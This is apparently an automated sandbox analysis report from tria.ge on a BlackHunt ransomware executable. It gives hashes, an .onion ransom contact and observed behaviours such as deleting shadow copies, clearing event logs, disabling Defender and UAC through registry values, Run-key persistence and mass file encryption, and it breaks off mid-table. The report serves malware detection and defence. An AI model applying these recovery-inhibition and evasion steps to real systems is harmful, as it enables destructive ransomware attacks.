Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
117s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
19/01/2024, 00:32
Static task
static1
Behavioral task
behavioral1
Sample
ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
Resource
win10v2004-20231215-en
General
-
Target
ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
-
Size
707KB
-
MD5
be49cc42ccd77831071881773053ebf2
-
SHA1
6a3564895676d8e89a273d7802934ee427f2535d
-
SHA256
ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580
-
SHA512
38de3da1c32da5dae2ac1e7767a416a3bf2efb6ce44cf13d659fbeb6d64799ac76c233ceded9b5ac36e1680b013b15c5b1c7db95f8ae7bd1d6e99b11a17c718b
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1n8Vvnh:6uaTmkZJ+naie5OTamgEoKxLWGRh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 3936 fsutil.exe 3736 fsutil.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 3712 wevtutil.exe 3716 wevtutil.exe 3248 wevtutil.exe 2704 wevtutil.exe 2564 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 1712 bcdedit.exe 3916 bcdedit.exe 3420 bcdedit.exe 3628 bcdedit.exe -
Renames multiple (2881) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 2612 wbadmin.exe 3020 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Deletes itself 1 IoCs
pid Process 2680 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\O: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\A: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\Q: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\K: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\V: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\I: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\X: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\T: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\Y: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\W: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\Z: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\H: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\R: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\U: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\S: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\J: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\E: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\G: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\L: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\B: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\N: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\M: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened (read-only) \??\P: ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Juneau ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\VideoLAN\VLC\locale\es\#BlackHunt_Private.key ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\VideoLAN\VLC\locale\gu\#BlackHunt_ReadMe.txt ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\VideoLAN\VLC\plugins\meta_engine\#BlackHunt_ReadMe.txt ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_photo_Thumbnail.bmp ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Davis ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\CST6CDT ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.reconciler.dropins.nl_zh_4.4.0.v20140623020002.jar ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\Java\jre7\lib\security\#BlackHunt_Private.key ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\#BlackHunt_ReadMe.hta ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\VideoLAN\VLC\locale\lv\#BlackHunt_ReadMe.txt ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-core-kit_zh_CN.jar ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\Java\jdk1.7.0_80\db\#BlackHunt_ReadMe.txt ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.jsp.jasper_1.0.400.v20130327-1442.jar ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\VideoLAN\VLC\locale\cs\#BlackHunt_ReadMe.hta ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\VideoLAN\VLC\COPYING.txt ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\#BlackHunt_ReadMe.txt ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\dropins\README.TXT ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-util-enumerations_ja.jar ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\Java\jre7\lib\zi\Pacific\#BlackHunt_ReadMe.hta ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jre7\lib\fonts\LucidaBrightRegular.ttf ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Costa_Rica ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Anadyr ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\PMP\DataMatrix.pmp ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationUp_SelectionSubpicture.png ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Prague ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\#BlackHunt_Private.key ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jre7\lib\javaws.jar ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\VideoLAN\VLC\lua\extensions\#BlackHunt_ReadMe.txt ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-applemenu.xml ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-progress-ui.xml ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\VideoLAN\VLC\locale\eu\#BlackHunt_ReadMe.txt ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\#BlackHunt_Private.key ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\#BlackHunt_Private.key ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-keyring.xml ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\#BlackHunt_ReadMe.txt ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\#BlackHunt_ReadMe.txt ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_ja.properties ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Baku ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_PT\#BlackHunt_ReadMe.txt ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\VideoLAN\VLC\plugins\#BlackHunt_Private.key ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\NextMenuButtonIcon.png ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Toronto ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.di.nl_zh_4.4.0.v20140623020002.jar ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\deployed\jdk16\#BlackHunt_Private.key ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.identity_3.4.0.v20140827-1444.jar ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Pohnpei ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Rangoon ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.equinox.simpleconfigurator\bundles.info ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.zh_CN_5.5.0.165303.jar ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.nl_zh_4.4.0.v20140623020002.jar ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-heapdump_ja.jar ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\VideoLAN\VLC\locale\sv\#BlackHunt_ReadMe.txt ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\#BlackHunt_ReadMe.txt ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\ParentMenuButtonIcon.png ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\VideoLAN\VLC\locale\pl\LC_MESSAGES\#BlackHunt_ReadMe.hta ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\DVD Maker\de-DE\#BlackHunt_ReadMe.txt ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\jvmticmlr.h ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.nl_ja_4.4.0.v20140623020002.jar ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-snaptracer_zh_CN.jar ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\#BlackHunt_Private.key ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\passport_mask_right.png ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\feature.xml ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\#BlackHunt_ReadMe.hta ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2664 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 808 vssadmin.exe 1968 vssadmin.exe 2432 vssadmin.exe 4068 vssadmin.exe 4060 vssadmin.exe 1352 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 3500 taskkill.exe -
Modifies registry class 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 3724 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 1656 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe Token: SeRestorePrivilege 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe Token: SeBackupPrivilege 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe Token: SeTakeOwnershipPrivilege 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe Token: SeAuditPrivilege 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe Token: SeSecurityPrivilege 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe Token: SeIncBasePriorityPrivilege 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe Token: SeBackupPrivilege 4076 vssvc.exe Token: SeRestorePrivilege 4076 vssvc.exe Token: SeAuditPrivilege 4076 vssvc.exe Token: SeBackupPrivilege 2736 wbengine.exe Token: SeRestorePrivilege 2736 wbengine.exe Token: SeSecurityPrivilege 2736 wbengine.exe Token: SeSecurityPrivilege 3712 wevtutil.exe Token: SeBackupPrivilege 3712 wevtutil.exe Token: SeSecurityPrivilege 3716 wevtutil.exe Token: SeBackupPrivilege 3716 wevtutil.exe Token: SeDebugPrivilege 3500 taskkill.exe Token: SeSecurityPrivilege 2704 wevtutil.exe Token: SeSecurityPrivilege 3248 wevtutil.exe Token: SeBackupPrivilege 3248 wevtutil.exe Token: SeBackupPrivilege 2704 wevtutil.exe Token: SeSecurityPrivilege 2564 wevtutil.exe Token: SeBackupPrivilege 2564 wevtutil.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2500 wrote to memory of 2064 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 39 PID 2500 wrote to memory of 2064 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 39 PID 2500 wrote to memory of 2064 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 39 PID 2500 wrote to memory of 2064 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 39 PID 2500 wrote to memory of 2448 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 36 PID 2500 wrote to memory of 2448 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 36 PID 2500 wrote to memory of 2448 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 36 PID 2500 wrote to memory of 2448 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 36 PID 2500 wrote to memory of 2176 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 34 PID 2500 wrote to memory of 2176 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 34 PID 2500 wrote to memory of 2176 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 34 PID 2500 wrote to memory of 2176 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 34 PID 2500 wrote to memory of 2036 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 32 PID 2500 wrote to memory of 2036 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 32 PID 2500 wrote to memory of 2036 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 32 PID 2500 wrote to memory of 2036 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 32 PID 2064 wrote to memory of 2784 2064 cmd.exe 31 PID 2064 wrote to memory of 2784 2064 cmd.exe 31 PID 2064 wrote to memory of 2784 2064 cmd.exe 31 PID 2448 wrote to memory of 2812 2448 cmd.exe 29 PID 2448 wrote to memory of 2812 2448 cmd.exe 29 PID 2448 wrote to memory of 2812 2448 cmd.exe 29 PID 2500 wrote to memory of 2840 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 38 PID 2500 wrote to memory of 2840 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 38 PID 2500 wrote to memory of 2840 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 38 PID 2500 wrote to memory of 2840 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 38 PID 2500 wrote to memory of 2740 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 40 PID 2500 wrote to memory of 2740 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 40 PID 2500 wrote to memory of 2740 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 40 PID 2500 wrote to memory of 2740 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 40 PID 2500 wrote to memory of 2848 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 42 PID 2500 wrote to memory of 2848 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 42 PID 2500 wrote to memory of 2848 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 42 PID 2500 wrote to memory of 2848 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 42 PID 2500 wrote to memory of 2712 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 127 PID 2500 wrote to memory of 2712 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 127 PID 2500 wrote to memory of 2712 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 127 PID 2500 wrote to memory of 2712 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 127 PID 2176 wrote to memory of 2592 2176 cmd.exe 47 PID 2176 wrote to memory of 2592 2176 cmd.exe 47 PID 2176 wrote to memory of 2592 2176 cmd.exe 47 PID 2036 wrote to memory of 1696 2036 cmd.exe 46 PID 2036 wrote to memory of 1696 2036 cmd.exe 46 PID 2036 wrote to memory of 1696 2036 cmd.exe 46 PID 2500 wrote to memory of 2868 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 123 PID 2500 wrote to memory of 2868 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 123 PID 2500 wrote to memory of 2868 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 123 PID 2500 wrote to memory of 2868 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 123 PID 2500 wrote to memory of 2608 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 48 PID 2500 wrote to memory of 2608 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 48 PID 2500 wrote to memory of 2608 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 48 PID 2500 wrote to memory of 2608 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 48 PID 2500 wrote to memory of 2724 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 57 PID 2500 wrote to memory of 2724 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 57 PID 2500 wrote to memory of 2724 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 57 PID 2500 wrote to memory of 2724 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 57 PID 2500 wrote to memory of 2204 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 52 PID 2500 wrote to memory of 2204 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 52 PID 2500 wrote to memory of 2204 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 52 PID 2500 wrote to memory of 2204 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 52 PID 2500 wrote to memory of 2600 2500 